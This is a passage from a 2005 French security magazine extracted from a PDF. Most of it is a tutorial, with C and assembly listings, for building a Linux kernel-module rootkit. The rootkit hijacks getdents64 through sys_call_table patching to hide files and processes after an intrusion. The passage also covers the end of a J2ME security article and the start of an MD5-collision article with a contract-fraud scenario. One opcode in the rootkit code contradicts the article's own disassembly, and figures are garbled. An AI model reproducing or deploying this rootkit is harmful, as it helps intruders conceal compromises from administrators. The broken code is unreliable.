fonctionner ne sera pas lancé – bien sûr, l'utilisateur pourra lire
un message adéquat l'informant sur les raisons du rejet de l'application.
Par contre, le MIDlet voulant établir les connexions HTTPS
sans que cela soit nécessaire pour qu'il puisse marcher (texte
javax.microedition.io.HttpsConnection dans MIDlet-Permissions-Opt) sera lancé. Sa tâche est d'informer l'utilisateur sur
l'impossibilité d'utiliser les fonctionnalités basées sur ce mécanisme car le manque de HTTPS rend impossible les opérations
distantes sur le compte. Pour trouver l'exemple d'utilisation de
deux attributs, reportez-vous à l'Encadré Fichier de descripteur
de l'application.
www.hakin9.org
hakin9 N o 2/2005
Attaques contre les applications J2ME
Sur le réseau
Protocoles de sécurité les plus populaires utilisés dans MIDP 2.0 :
• http://www.ietf.org/rfc/rfc2437 – PKCS #1 RSA Encryption Version 2.0,
• http://www.ietf.org/rfc/rfc2459 – X.509 Public Key Infrastructure,
• http://www.ietf.org/rfc/rfc2560 – Online Certificate Status Protocol,
• http://www.wapforum.org/what/technical.htm – WAP Certificate Profile Specification.
Obfuscateurs :
• http://www.zelix.com/klassmaster/docs/j2mePlugin.html,
• http://developers.sun.com/techtopics/mobility/midp/questions/obfuscate/,
• http://www.codework.com/dashO/product.html,
• http://www.retrologic.com/retroguard-main.html,
• http://proguard.sourceforge.net/,
Décompilateurs :
• http://members.fortunecity.com/neshkov/dj.html,
• http://www.andromeda.com/people/ddyer/java/decompiler-table.html,
• http://www.bysoft.se/sureshot/cavaj/,
• http://sourceforge.net/projects/dcompiler.
Paquets de chiffrage :
• http://www.bouncycastle.org,
• http://www.phaos.com/products/category/micro.html,
• http://www.b3security.com/.
Wireless Toolkit :
• http://java.sun.com/products/j2mewtoolkit/.
J2ME et MIDP :
• http://java.sun.com/j2me/,
• http://java.sun.com/products/midp/,
• http://jcp.org/aboutJava/communityprocess/final/jsr037/index.html,
• http:// jcp.org/aboutJava/communityprocess/final/jsr118/index.html.
bancaire citée auparavant, par exemple). Si l'interception des données
envoyées via le réseau GSM (entre
le périphérique et le point d'accès à
Internet) est difficile et coûteuse (et
dans la plupart des cas – non rentable), cela est simple à faire à partir
de la couche Internet (point d'accès
à Internet – serveur de communication de destination). Pour en
savoir plus sur les méthodes d'interception des connexions Internet,
reportez-vous aux articles de Maciej
Szmit Sniffing dans l'ethernet commuté (hakin9 02/2003) ou de Piotr
Tyburski Attaque man in the middle
sur la connexion chiffrée de Jabber
(hakin9 05/2004) – une fois les modifications nécessaires effectuées,
le savoir-faire acquis peut être utilisé
pour écouter la transmission réseau.
Comment peut-on se protéger contre
le vol des données réseaux ?
hakin9 N o 2/2005
HTTP est le seul protocole
réseau supporté par MIDP 1.0
– seulement ce protocole doit
être disponible sur le périphérique
compatible avec MIDP 1.0. Il est
vrai que certains périphériques
utilisent d'autres protocoles de
communication mais cela n'est
dû qu'à la bonne volonté de leurs
fabricants. En outre, certains périphériques (certains téléphones
Motorola, par exemple) mettent
à disposition leurs propres bibliothèques de chiffrage. Celles-ci grâce
à la mise en pratique des fonctionnalités matérielles spécialisées
peuvent être beaucoup plus rapides
que les solutions externes (third
party). Mais il n'y a point de roses
sans épines. Le fait d'utiliser dans
une application mobile créée des
solutions natives pour un périphérique contribue à ce que celle-ci
www.hakin9.org
ne soit pas portable entre les périphériques des autres fabricants et
parfois même entre les différents
modèles des périphériques du
même fabricant. C'est pourquoi, si
la portabilité est un point important
dans votre projet, la mise en pratique des API natives n'est pas une
bonne idée.
Si MIDP 1.0 ne met à disposition
que le protocole HTTP, MIDP 2.0
donne au développeur la possibilité d'utiliser plusieurs protocoles de
communication comme, entre autres,
SSL (dans notre cas – HTTPS).
Si alors l'application doit marcher
en MIDP 1.0 ou SSL (HTTPS) est,
pour certaines raisons, un moyen de
protection insuffisant, il faut se servir
des bibliothèques de chiffrage externes comme, par exemple, le paquet
BouncyCastle décrit dans le scénario n° 4. Comme dans le scénario 4,
si l'envoi et la réception des données
depuis les connexions réseaux sont
gerés par des fonctions séparées et
si avant l'envoi et après la réception
des données, vous chiffrez/déchiffrez les données, le processus de
chiffrage sera invisible pour le reste
de l'application. Ainsi, vos données
seront sûres.
Faiblesse humaine,
puissance numérique
La protection contre les attaques
nécessite la mise en pratique des
mécanismes disponibles, fournis par
J2ME et elle n'est pas difficile à faire.
Mais comme vous avez pu le voir, les
scénarios des attaques profitent notamment de l'imperfection humaine
– de l'insouciance des développeurs
qui traitent à la légère la question de
la sécurité des applications créées
et de la naïveté des utilisateurs
inconscients des dangers liés aux
logiciels de provenance inconnue.
Les créateurs de l'environnement de
développement Java 2 Micro Edition
ont porté l'accent principal sur la sécurité à l'étape du projet – l'attaque
directe contre les applications écrites correctement en J2ME semble
être difficile et même impossible à
réaliser. n
27
Rootkit personnel
dans GNU/Linux
Mariusz Burdach
La tâche principale des rootkits
est de dissimuler la présence de
certains fichiers et processus
dans le système attaqué. La
création de cette fonctionnalité
n'est pas difficile.
Attaque
L
28
a compromission réussie d'un système
n'est que le début du travail de l'intrusion.
En effet, l'accès au compte du superutilisateur ne servira à rien si l'administrateur
détecte que l'intégrité du système a été violée.
L'étape suivante du travail du pirate consiste
à effacer les traces de son passage à l'aide
d'un rootkit, de façon à pouvoir profiter ultérieurement de la machine-victime.
Essayons donc de créer un simple rootkit
pour les systèmes Linux (sous forme d'un
module chargeable à partir du noyau). Ce
rootkit sera responsable de la dissimulation
des fichiers, répertoires et processus portant
un préfixe (dans notre cas hakin9). Tous les
exemples ont été créés et lancés dans le système d'exploitation RedHat Linux avec le noyau
2.4.18. Le code entier est disponible sur le CD
hakin9.live joint au magazine.
Les informations de cet article seront particulièrement utiles aux administrateurs ainsi
qu'aux personnes qui s'occupent de la sécurité.
Les méthodes décrites peuvent être utilisées
pour cacher les fichiers ou processus critiques.
Elles peuvent être également utiles pour la
détection de la compromission des systèmes
d'exploitation.
www.hakin9.org
Mécanisme
du fonctionnement
La tâche principale de notre rootkit consistera
à cacher les fichiers qui se trouvent physiquement dans le système de fichiers local (cf. l'Encadré Tâches des rootkits). Il ne sera géré que
localement et travaillera uniquement au niveau
du noyau du système d'exploitation (il modifiera
certaines structures de données).
Ce type de code a sans doute beaucoup plus
d'avantages que les programmes qui remplacent ou modifient les objets dans le système de
Cet article explique...
•
comment créer son propre rootkit dissimulant
la présence de fichiers et processus portant les
noms avec des préfixes déterminés.
Ce qu'il faut savoir...
•
•
•
•
les notions de base de l'assembleur,
le langage de programmation C,
le mécanisme de fonctionnement du noyau du
système Linux,
créer les modules simples du noyau.
hakin9 N o 2/2005
Rootkit dans GNU/Linux
Tâches des rootkits
La tâche la plus importante des rootkits
consiste à dissimuler la présence de
l'intrus dans le système d'exploitation
compromis (de plus, certains permettent de tenir une communication
cachée entre la victime et l'intrus). Les
fonctions principales du rootkit sont :
•
•
•
•
•
•
dissimuler les processus,
dissimuler les fichiers et leur contenu,
dissimuler les registres et leur contenu,
dissimuler les ports ouverts et les
canaux de communication,
enregistrer toutes les frappes au
clavier,
intercepter les mots de passe dans
le réseau local.
fichiers (par objets on comprend les
programmes comme ps, taskmgr.exe
ou bibliothèques win32.dll ou libproc).
Il est facile de deviner que le plus
grand avantage est le fait qu'il est difficile de détecter ce type de code – il
ne modifie aucun objet sur le disque
mais certaines structures de données
dans la mémoire réservée pour le
noyau du système d'exploitation.
Seul est modifié l'objet représentant
l'image du noyau du système qui doit
se trouver dans le système de fichiers
local (à moins que le système ne soit
amorcé à partir d'un CD, d'une disquette ou d'un réseau).
Processus d'appel
d'une fonction système
Comme nous l'avons dit, notre
module du rootkit modifiera certaines structures de données dans la
mémoire réservée pour le noyau du
système d'exploitation. Nous devons
donc choisir la place à modifier. La
Listing 1. Déclaration de la
structure dirent64
struct dirent64 {
u64
s64
unsigned short
unsigned char
char
};
d_ino;
d_off;
d_reclen;
d_type;
d_name[];
hakin9 N o 2/2005
Tableau 1. Fonctions système les plus importantes dans Linux
Fonction système
Description
SYS _ open
ouvre le fichier
SYS _ read
lit le fichier
SYS _ write
enregistre dans un fichier
SYS _ execve
exécute un programme
SYS _ getdents / SYS _
getdent64
retournent le contenu du répertoire
SYS _ execve
utilisée par le système lors du lancement d'un
fichier
SYS _ socketcall
gestion des sockets
SYS _ setuid / SYS _ getuid
servent à gérer l'identifiant de l'utilisateur
SYS _ setgid / SYS _ getgid
servent à gérer l'identifiant du groupe
SYS _ query _ module
l'une des fonctions servant à gérer les modules
méthode la plus simple (et l'une des
plus faciles) consiste à intercepter
l'une des fonctions système. Mais
il existe beaucoup de places à modifier. Par exemple, nous pouvons
intercepter la fonction gérant l'interruption 0x80 générée par les applications de l'espace utilisateur, ou bien
la fonction system _ call() qui a pour
le but d'appeler la fonction système
appropriée. À vrai dire, le choix de la
place dépend du but que nous voulons atteindre à l'aide du code écrit
ainsi que le niveau de difficulté de
détection de ce code.
Dans le système Linux, nous
pouvons distinguer deux méthodes
d'appel des fonctions du système. La
première méthode – directe – consiste à charger dans le registre du
processeur les valeurs appropriées
puis de générer l'interruption 0x80.
L'exécution de la commande int
0x80 par le programme de l'utilisateur met le processeur en mode de
travail protégé et appelle la fonction
système appropriée.
La seconde méthode, indirecte,
consiste à utiliser les fonctions disponibles dans la bibliothèque glibc.
Nous allons utiliser cette deuxième
méthode qui est plus adaptée à nos
besoins.
Choix d'une fonction
système
Linux possède un jeu de fonctions
système permettant d'exécuter dif-
www.hakin9.org
férentes opérations dans le système
d'exploitation, comme par exemple
ouvrir ou lire des fichiers. La liste
complète des fonctions système est
disponible dans les sources du noyau
et dans le fichier /usr/include/asm/
unistd.h – leur nombre diffère en
fonction de la version du noyau (pour
le noyau 2.4.18 il y en a 239). Le Tableau 1 présente la liste des fonctions
système les plus importantes et dont
la modification peut nous être utile.
La fonction sys _ getdents() semble être idéale pour être modifiée car
elle va nous permettre de cacher les
fichiers, répertoires et processus.
La fonction sys _ getdents() est
utilisée par les outils comme ls ou
ps. Nous pouvons le vérifier grâce
à l'outil strace qui à l'aide de la
fonction système ptrace() suit le
fonctionnement des processus fils.
Lançons donc strace, en saisissant
le nom du fichier exécutable comme
paramètre. Nous verrons que la
fonction getdents64() est appelée
deux fois :
$ strace /bin/ls
...
getdents64(0x3, 0x8058720,
0x1000, 0x8058720) = 760
getdents64(0x3, 0x8058720,
0x1000, 0x8058720) = 0
...
La fonction getdents64() ne diffère
de getdents() que par la structure
29
������
������
���
����
N'oublions pas que pendant la
création du programme, nous ne
connaissons pas encore l'adresse
de notre fonction. C'est après le
chargement du code dans la mémoire que nous pouvons déterminer
cette adresse et la saisir dans le
tableau où se trouve notre code. Les
instructions écrites seront utilisées
pour appeler la fonction originale
getdents64().
L'algorithme du fonctionnement
est donc le suivant :
���
������
��
�
�
�
������
��
��
�
�
������
��
��
�
�
�
�
�
������
��
��
�
�
�
�
�
������
��
��
�
�
�
�
�
������
��
����
�
�
�
�
�
�
�
�
�
Figure 1. Exemple du contenu de la structure dirent64
chargée – elle utilise la structure dirent64, et non dirent. La déclaration
de la structure dirent64 est présentée dans le Listing 2. Comme vous
pouvez le constater, elle diffère de
la structure dirent par le champ
d _ type, les types de champ pour
stocker l'information sur le numéro
de l'i-nœud (inode) et le décalage
vers la structure suivante.
La construction de la structure dirent64 est pour nous particulièrement
importante parce qu'elle sera soumise aux modifications. La Figure 1
présente l'exemple du contenu de
la structure dirent64. C'est de cette
structure que nous supprimerons les
inscriptions concernant les objets
à cacher. Chaque inscription représente un fichier du répertoire concret.
Attaque
Modification des
fonctions du système
Puisque nous savons quelle fonction
système sera modifiée, nous devons
choisir la méthode de modification.
La méthode la plus simple consiste à remplacer l'adresse de cette
fonction. L'information sur l'adresse
de cette fonction se trouve dans le
tableau sys _ call _ table (ce tableau
stocke les informations sur les adresses de toutes les fonctions système).
Nous pouvons donc écrire notre propre fonction getdents64(), la charger
en mémoire, puis enregistrer son
Listing 2. Stockage et saut à
l'adresse de la fonction stockée
dans le registre
movl $adresse_de_la_fonction, %ecx
jmp *%ecx
30
adresse dans le tableau sys _ call _
table (en remplaçant l'adresse de la
fonction originale). Cette méthode
de modification de la fonction est
particulièrement populaire dans les
systèmes Windows.
Une autre solution consiste
à remplacer la fonction qui appellera
la fonction système et filtrera les résultats retournés – nous essayerons
d'exécuter aussi cette opération.
Cette méthode est basée sur le
remplacement de quelques premiers
octets de la fonction système originale. Ce remplacement consistera
à stocker l'adresse de la nouvelle
fonction dans le registre et d'exécuter un saut à l'aide de l'instruction
jmp de l'assembleur à cette adresse,
juste après l'appel de la fonction système (cf. le Listing 2).
Comme nous l'avons déterminé
auparavant, après la prise de contrôle
du fonctionnement de la fonction système, nous appelons la version originale de la fonction getdents64(). Après
avoir obtenu le résultat retourné par
getdents64(), nous filtrons certaines
informations (par exemple le nom du
fichier). Pour pouvoir effectuer cette
opération, nous devons protéger les
instructions de la fonction originale
contre le remplacement.
�����
����
�����
����
•
•
•
enregistrez quelques premiers
octets de la fonction getdents64()
originale (l'adresse de la fonction
getdents64() se trouve dans le
tableau sys _ call _ table),
mémorisez l'adresse de la nouvelle fonction (n'oubliez pas que
vous pourrez connaître l'adresse
de la nouvelle fonction seulement
après le chargement de la fonction dans la mémoire),
enregistrez le code du Listing 2
contenant l'instruction du saut
à l'adresse du point 2 à l'adresse
mémoire indiquée par le tableau
sys _ call _ table ; le code doit
occuper la même taille que celle
définie dans le point 1.
Après l'exécution de ces opérations,
le noyau du système sera modifié de
façon appropriée (cf. la Figure 2).
Lors du fonctionnement du système, chaque appel à la fonction
getdents64() entraîne un saut à notre
fonction qui exécutera les opérations
suivantes :
•
copie des quelques premiers
octets de la fonction originale
à l'adresse mémoire indiquée par
le tableau sys _ call _ table,
�����
����
�����
����
Figure 2. État du noyau après la modification de la fonction
sys_getdents64()
www.hakin9.org
hakin9 N o 2/2005
Rootkit dans GNU/Linux
•
•
•
appelle de la fonction originale
sys _ getdents64(),
filtrage du résultat retourné par la
fonction originale,
rétablissement du code du Listing 2 à l'adresse indiquée par
le tableau sys _ call _ table ainsi
que l'adresse de la fonction sys _
getdents64().
Nous pouvons constater que ces algorithmes cachent une inconnue qui
est le nombre d'octets initiaux à copier. Vérifions donc le nombre d'octets occupant le code du Listing 2.
Pour connaître le nombre d'octets
occupé par ce code, il faut créer un
programme simple qui va permettre
après la compilation (et ensuite, après
le désassemblage) de définir le nombre d'octets à copier (cf. l'article Ingénierie inverse du code exécutable ELF
dans l'analyse après intrusion, hakin9
1/2005). Ce programme est présenté
dans le Listing 3.
Ensuite, nous allons convertir au
format assembleur et d'opcode le
contenu de la fonction main() qui se
trouve dans la section du code exécutable (.text) de notre programme
(Listing 3). Ce qui est important pour
nous, c'est la conversion au format
opcode que nous stockons dans le tableau et qui sera utilisé pour remplacer le code original (cf. le Listing 3).
Après la suppression du prologue
et de l'épilogue de la fonction, il nous
reste sept octets que nous mettons
dans le tableau :
static char new_getdents_code[7] =
"\xb9\x00\x00\x00\x00"
/* movl $0,%ecx */
"\xef\xe1"
/* jmp *%ecx */
Listing 3. Programme calculant
le nombre d'octets à copier
main() {
asm("mov $0,%ecx\n\t"
"jmp
*%ecx\n\t"
);
}
notre fonction et de la mettre dans
le tableau new _ getdents _ code.
Il faut remarquer que l'adresse doit
commencer à partir du premier élément du tableau. Après le stockage
de la fonction dans la mémoire (le
chargement du module à l'aide de la
commande insmod), le tableau est
mis à jour de la façon suivante :
*(long *)&new_getdents_code[1]
= (long)new_getdents;
Stockage du code
dans la mémoire
Notre rootkit sera installé dans la mémoire sous forme d'un module. Mais
il ne faut pas oublier que cela ne sera
pas toujours possible – certains administrateurs bloquent la possibilité
de charger dynamiquement les modules dans le noyau.
Pour stocker notre code, nous
allons utiliser la fonction init _ module() qui est appelée lors du chargement du module dans la mémoire
(à l'aide de la commande insmod
modul.o). Cette fonction doit remplacer les sept premiers octets de
la fonction originale getdents64().
Dans le cas présent nous nous
heurtons à un problème – tout
d'abord, il faut trouver l'adresse de
la fonction originale getdents64(). Le
plus simple serait de charger cette
adresse à partir du tableau sys _
call _ table.
Hélas, l'adresse du
tableau sys _ call _ table comme
les adresses des autres éléments
critiques du système ne sont pas
exportées (c'est une sorte de protection contre le chargement de
l'adresse à l'aide d'extern).
Pour localiser l'adresse sys _
call _ table, il existe plusieurs
méthodes. Nous pouvons, par
exemple, utiliser l'instruction sidt
pour charger le pointeur à l'adresse
du tableau IDT (cf. l'article Quelques méthodes simples pour détecter débogueurs et l'environnement
VMware de ce numéro de hakin9),
puis charger à partir de ce tableau
l'adresse de la fonction responsable de la gestion de l'interruption
0x80 et lire l'adresse du tableau
sys _ call _ table de la fonction system _ call(). Malheureusement, cette méthode fonctionne seulement
sur les systèmes d'exploitation qui
ne sont pas lancés sous VMware ou
UML. Une autre méthode consiste
à charger l'adresse directement
du fichier System.map créé lors
de la compilation du noyau. Il contient tous les symboles importants
et leurs adresses.
Quant à nous, nous nous servirons d'une autre méthode qui
consiste à utiliser les fonctions dont
les adresses sont exportées par
le noyau. Cela nous permettra de
retrouver l'adresse du tableau sys _
call _ table. L'adresse sys _ call _
table se trouve dans la mémoire,
quelque part entre les adresses
des symboles loops _ per _ jiffy et
boot _ cpu _ data. Il est facile de deviner que ces symboles sont exportés.
L'adresse de la fonction système
sys _ close() est aussi exportée.
;
C'est aussi le nombre d'octets que
nous devons laisser provenant de
la fonction originale. Au lieu de 00
00 00 00, l'adresse de notre fonction sera saisie. Le second tableau,
de sept éléments, est créé pour les
instructions de la fonction originale
getdents64().
La dernière opération dans cette
étape est de trouver l'adresse de
hakin9 N o 2/2005
Listing 4. Désassemblage du programme du Listing 3
080483d0
80483d0:
80483d1:
80483d3:
80483d8:
80483da:
80483db:
80483dc:
80483dd:
<main>:
55
89 e5
b9 00 00 00 00
ff e1
5d
c3
90
90
push
mov
mov
jmp
pop
ret
nop
nop
www.hakin9.org
%ebp
%esp,%ebp
$0x0,%ecx
*%ecx
%ebp
31
Listing 5. Le code qui permet de retrouver l'adresse de sys_call_table
for (ptr = (unsigned long)&loops_per_jiffy;
ptr < (unsigned long)&boot_cpu_data; ptr += sizeof(void *)){
unsigned long *p;
p = (unsigned long *)ptr;
if (p[__NR_close] == (unsigned long) sys_close){
sct = (unsigned long **)p;
break;
}
Cette fonction sera utile pour vérifier
si l'adresse trouvée du tableau est
correcte.
La valeur du septième élément
du tableau devrait être l'adresse de
la fonction sys _ close(). L'ordre des
fonctions système peut être consulté
dans le fichier d'en-tête /usr/include/
asm/unistd.h. Le fragment de code
responsable de l'identification du tableau sys _ call _ table est présenté
dans le Listing 5.
Une fois l'adresse du tableau
sys _ call _ table retrouvée, nous
devons exécuter deux opérations qui
nous permettrons d'intercepter tous
les renvoies à la fonction originale
getdents64().
Tout d'abord, nous copions les
sept premiers octets de la fonction
originale getdents64() dans le tableau syscall _ code[] :
_memcpy(
syscall_code,
sct[__NR_getdents64],
sizeof(syscall_code)
Gestion –
communication avec
l'espace utilisateur
Maintenant, il faut s'occuper de la
façon de transmettre les informations de l'espace utilisateur (userspace) à notre rootkit – il faut donc
trouver la méthode afin de transférer les données sur les objets
à cacher au rootkit. Ce n'est pas
simple car l'accès direct de l'espace
utilisateur à l'espace adressable réservé pour le code du noyau n'est
pas possible.
L'une des possibilités d'échanger
les données est d'utiliser le système
de fichiers procfs. Comme vous devez le savoir, procfs contient l'état
actuel de la mémoire du système
et permet de modifier certains paramètres du noyau directement à partir
de l'espace utilisateur. Par exemple,
si nous voulons modifier le nom de
notre ordinateur, il suffit de saisir un
nouveau nom dans le fichier /proc/
sys/kernel/hostname :
);
Attaque
Ensuite, nous remplaçons les sept
premiers octets de données de la
fonction originale par le code du
tableau new _ syscall _ code[]. Là se
trouve l'instruction jmp à l'adresse
mémoire où notre nouvelle version
de la fonction est stockée :
_memcpy(
sct[__NR_getdents64],
new_syscall_code,
sizeof(syscall_code)
);
Désormais, au lieu d'utiliser la fonction originale getdents64(), c'est notre
fonction qui sera appelée.
32
# echo hakin9 \
> /proc/sys/kernel/hostname
Nous commençons par créer un
nouveau fichier, par exemple hakin9,
dans le système de fichiers principal
procfs (c'est le répertoire /proc).
Dans ce fichier, nous saisirons le
nom à partir duquel commenceront
les noms des objets à cacher. Dans
notre exemple, nous admettons qu'il
est possible d'entrer le nom d'un préfixe. C'est suffisant – il est possible
de cacher un nombre quelconque
de fichiers, répertoires et processus
dont les noms commencent par le
préfixe saisi (ici hakin9). Cette opération permet de cacher le fichier de
www.hakin9.org
Listing 6. Prototype de la
fonction creat_proc_entry()
proc_dir_entry
*create_proc_entry
(const char *name,
mode_t mode,
struct proc_dir_entry *parent)
configuration hakin9 qui se trouve
dans le répertoire /proc.
La fonction qui crée le fichier
dans le système de fichiers procfs
s'appelle
create _ proc _ entry().
Son prototype est présenté dans le
Listing 6.
Chaque fichier créé par create _ proc _ entry()
dans
procfs
a la structure proc _ dir _ entry.
À ce fichier sont associées les
fonctions appelées pendant les
opérations de lecture/écriture de
l'espace utilisateur. La déclaration
de la structure proc _ dir _ entry est
présentée dans le Listing 7. Elle est
également disponible dans le fichier
d'en-tête /usr/src/linux-2.4/include/
linux/proc_fs.h.
La plupart des champs sont actualisés automatiquement pendant
la création d'un objet. Trois d'entre
eux nous intéressent particulièrement. Pour nos besoins, il est nécessaire de créer deux fonctions :
la première est write _ proc qui lit
les données saisies par l'utilisateur
et les enregistre dans le tableau
dont le contenu est ensuite comparé aux inscriptions dans la structure
dirent64. La seconde fonction est
read _ proc – elle affi che les données pour les utilisateurs lisant le
fichier /proc/hakin9. Le dernier élément est le champ data qui pointe
vers la structure qui dans notre
exemple, est composée de deux
tableaux et dont l'un d'eux (value)
contient le nom de l'objet à cacher.
Le code source de la fonction (étant
relativement volumineux) se trouve
sur le CD joint au magazine.
Filtrage des données
L'élément le plus important de notre
rootkit est la fonction qui appelle
la fonction originale getdents64()
et filtre une partie de résultats. Dans
hakin9 N o 2/2005
Rootkit dans GNU/Linux
notre exemple, c'est le nom de l'objet
saisi par l'utilisateur dans le fichier
portant le nom hakin9 se trouvant
dans le répertoire /proc.
Comme vous pouvez vous le
rappeler, premièrement notre fonction appellera la fonction originale
getndents64(), et ensuite vérifiera si
la structure dirent64 ne contient pas
d'objets à cacher. Pour appeler la fonction originale, nous devons d'abord la
reconstruire. Pour cela, nous appellerons la fonction _ memcpy() qui stockera
le contenu du tableau syscall _ code[]
à l'adresse mémoire indiquée par
le tableau sys _ call _ table (c'est
l'adresse de la fonction système sys _
getdents64()).
Puis
la
fonction
originale
getdents64() est appelée. Le nombre d'octets lus par cette fonction
est enregistré dans la variable orgc.
Comme vous le savez déjà, la fonction
getdetns64() lit la structure dirent64.
Notre fonction doit vérifier la structure
dirent64 et éventuellement, supprimer
l'inscription à cacher. Il ne faut pas
oublier que la fonction getdents64()
retourne le nombre d'octets lus, de part
cela, il faut réduire cette valeur d'un
multiple de l'inscription à cacher contenue dans la variable d _ reclen. Le fragment de la fonction décrit ci-dessus est
présenté dans le Listing 8.
La dernière opération consiste
à mettre dans notre code la macrocommande EXPORT _ NO _ SYMBOLS qui
bloque la possibilité d'exporter les
symboles à partir du module. Si nous
négligeons cette macro, le module exportera par défaut les informations sur
les symboles et leurs adresses. Tous
les symboles exportés par le noyau (y
compris ceux exportés par les modules chargeables) sont disponibles dans
le tableau qui peut être lu directement
à partir du fichier /proc/ksyms. Si notre
module n'exporte pas de symboles, il
sera plus difficile à détecter.
Maintenant, nous n'avons qu'à
compiler et charger le module dans
la mémoire de l'ordinateur :
$ gcc -c syscall.c
-I/usr/include/linux-2.4.XX
$ su # insmod syscall.o
hakin9 N o 2/2005
Listing 7. Déclaration de la structure proc_dir_entry
struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * proc_iops;
struct file_operations * proc_fops;
get_info_t *get_info;
struct module *owner;
struct proc_dir_entry *next, *parent, *subdir;
void *data;
read_proc_t *read_proc;
write_proc_t *write_proc;
atomic_t count;
/* use count */
int deleted;
/* delete flag */
kdev_t rdev;
};
Listing 8. Fragment de la fonction modifiant la structure dirent64
beta = alfa = (struct dirent64 *) kmalloc(orgc, GFP_KERNEL);
copy_from_user(alfa,dirp,orgc);
newc = orgc;
while(newc > 0) {
recc = alfa->d_reclen;
newc -= recc;
a=memcmp(alfa->d_name,baza.value,strlen(baza.value));
if(a==0) {
memmove(alfa, (char *) alfa + alfa->d_reclen,newc);
orgc -=recc;
}
if(alfa->d_reclen == 0) {
newc = 0;
}
if(newc != 0) {
alfa = (struct dirent64 *)((char *) alfa + alfa->d_reclen);
}
copy_to_user(dirp,beta,orgc);
Malheureusement, notre module est
facile à détecter car il se trouve sur
la liste des modules lancés dans le
système (cette liste peut être affichée
à l'aide de la commande lsmod ou cat
/proc/modules). Heureusement, il est
assez facile de cacher ce module –
il suffit d'utiliser le module clean.o disponible sur Internet ainsi que sur notre
CD (cf. l'article SYSLOG Kernel Tunnel
– protection des journaux système
dans ce numéro de hakin9).
Et ce n'est pas tout
Nous avons présenté les opérations
de base qu'il faut effectuer pour écrire
www.hakin9.org
un rootkit personnel tout à fait opérationnel. Mais il reste au moins deux
problèmes à résoudre : comment lancer automatiquement le module après
chaque redémarrage du système
et comment le cacher efficacement.
Par exemple par l'ajout du code
exécutable aux autres modules, qui
sont eux tout à fait légaux. L'autre problème est lié au fait que parfois la possibilité de charger les modules peut
être désactivée – dans ce cas, notre
code doit être chargé directement
dans la mémoire. La solution à tous
ces problèmes sera présentée dans
le prochain numéro de hakin9. n
33
Menaces liées
à l'application de
l'algorithme MD5
Philippe Schwaha, Réné Heinzl
MD5 est sans doute l'une des
fonctions de hachage les plus
populaires – elle est utilisée
autant dans les sommes de
contrôle simples que dans les
fichiers DRM (Digital Rights
Management). Bien qu'il soit
quasi impossible de révéler une
faille de sécurité dans MD5, l'une
d'elles a été trouvée par des
chercheurs chinois. Analysons
les menaces relatives à cette
faille.
L
es recherches concernant MD5 ont
été menées par quatre chercheurs chinois : Xiaoyun Wang, Dengguo Feng,
Xueija Lai et Hongbo Yu. Ils ont présenté les
résultats de leurs analyses pendant la conférence CRYPTO en septembre 2004. Leurs
explications paraissaient invraisemblables,
alors au début personne ne les avait traitées
sérieusement. Mais après, d'autres auteurs ont
présenté leurs résultats – ils ont confirmé les
révélations publiées par les Chinois.
Attaque
Scénarios des attaques
34
Imaginons que nous voulons vendre sur Internet une chose très précieuse. Le prix de cet
objet sera très élevé, nous voulons donc conclure un contrat d'achat-vente. Nous trouvons
un acheteur, nous nous mettons d'accord sur
le prix et nous établissons le contrat (un fichier
PDF contenant le contrat sur 1000 euros). Si
nous étions capables de créer deux fichiers
ayant la même somme de contrôle MD5
et un autre contenu (par exemple, avec le prix
de 100 000 euros), nous pourrions tromper
l'acheteur.
Nous envoyons donc le contrat pour un
montant de 1000 euros à l'acheteur – celui-ci
www.hakin9.org
l'accepte, le confirme par sa signature électronique (par exemple à l'aide de gpg) et le
renvoie. Grâce au fait que nous avons deux
contrats avec la même somme de contrôle
MD5, nous pouvons les remplacer – ainsi, nous
faisons une affaire en or (outre l'aspect moral
de cette entreprise, nous déconseillons bien
sûr un tel comportment). L'acheteur doit payer
100 000 euros, il a confirmé le contrat par sa
propre signature électronique.
Et voici une autre méthode – nous sommes embauchés dans une grande entreprise
informatique (comme par exemple celle de
Redmond, USA), dans le département de
programmation. Nous trouvons que notre
employeur ne nous paie pas suffisamment,
Cet article explique...
•
•
comment exécuter des attaques sur la fonction
MD5,
comment fonctionne la fonction unidirectionnelle MD5.
Ce qu'il faut savoir...
•
la programmation en C++.
hakin9 N o 2/2005
Menaces pour MD5
Comment fonctionne MD5
Un haché (condensé), appelé aussi message digest (de l'anglais condensé
de message) est un nombre généré à partir de données d'entrée (par exemple d'un texte). Le haché est plus court que les données initiales et doit
être généré de façon à ce qu'une même valeur de haché pour différents
messages, soit la moins possible. Si deux messages différents donnent un
condensé de message identique, on dit qu'une collision s'est produite. Évidemment, il faut éviter de telles situations – sinon, l'utilisation des fonctions
de condensation (de hachage) devient inutile. La fonction de hachage empêchant de récupérer le texte original du contenu du haché est appelé fonction
à sens unique.
MD5 est justement une fonction à sens unique. Elle a été conçue au MIT (Massachusetts Institute of Technology) par Ronald Rivest. Elle génère un haché du message
d'une longueur de 128 bits et est utilisée pour vérifier l'intégrité des données. La spécification de la fonction MD5 est disponible dans le document RFC 1321 (cf. l'Encadré
Sur le réseau).
Première étape : préparation des données
MD5 utilise toujours des données d'une longueur totale égale à un multiple de 512 bits.
Pour obtenir un texte de la longueur exigée, celui-ci doit être préparé de la manière
suivante :
•
•
un simple bit de valeur 1 précédé de zéros est ajouté au message de façon à ce que
sa longueur soit inférieure à 64 d'un multiple de 512 bits,
les 64 bits manquants sont utilisés pour stocker la longueur originale du message
– si le message avait une longueur invraisemblable de 2^64 bits (c'est-à-dire
2097152 teraoctets), seuls les 64 derniers bits sont ajoutés.
Ces actions sont toujours effectuées, même si le message a déjà la longueur exigée
(un multiple de 512 octets).
Deuxième étape : calculs
Ensuite, le haché est créé. Il est obtenu à la suite de la modification multiple de la
valeur de 128 bits décrivant l'état. Pour comprendre plus facilement ce processus,
la Figure 1 présente le schéma de cet algorithme.
Lors des calculs, l'état de 128 bits est divisé en quatre fragments (blocs) de
32 bits – appelons-les A, B, C et D. Au début du fonctionnement de l'algorithme,
ces valeurs sont prises pour : A = 0x67452301, B = 0xefcdab89, C = 0x98badcfe,
D = 0x10325476.
L'état initial est ensuite modifié. Cela se fait par le traitement de chaque bloc de
données d'entrée dans l'ordre approprié.
Le traitement de chaque bloc de données d'entrée est effectué en quatre phases.
Chaque phase, appelée aussi tour, se compose de 16 opérations, ce qui donne 64
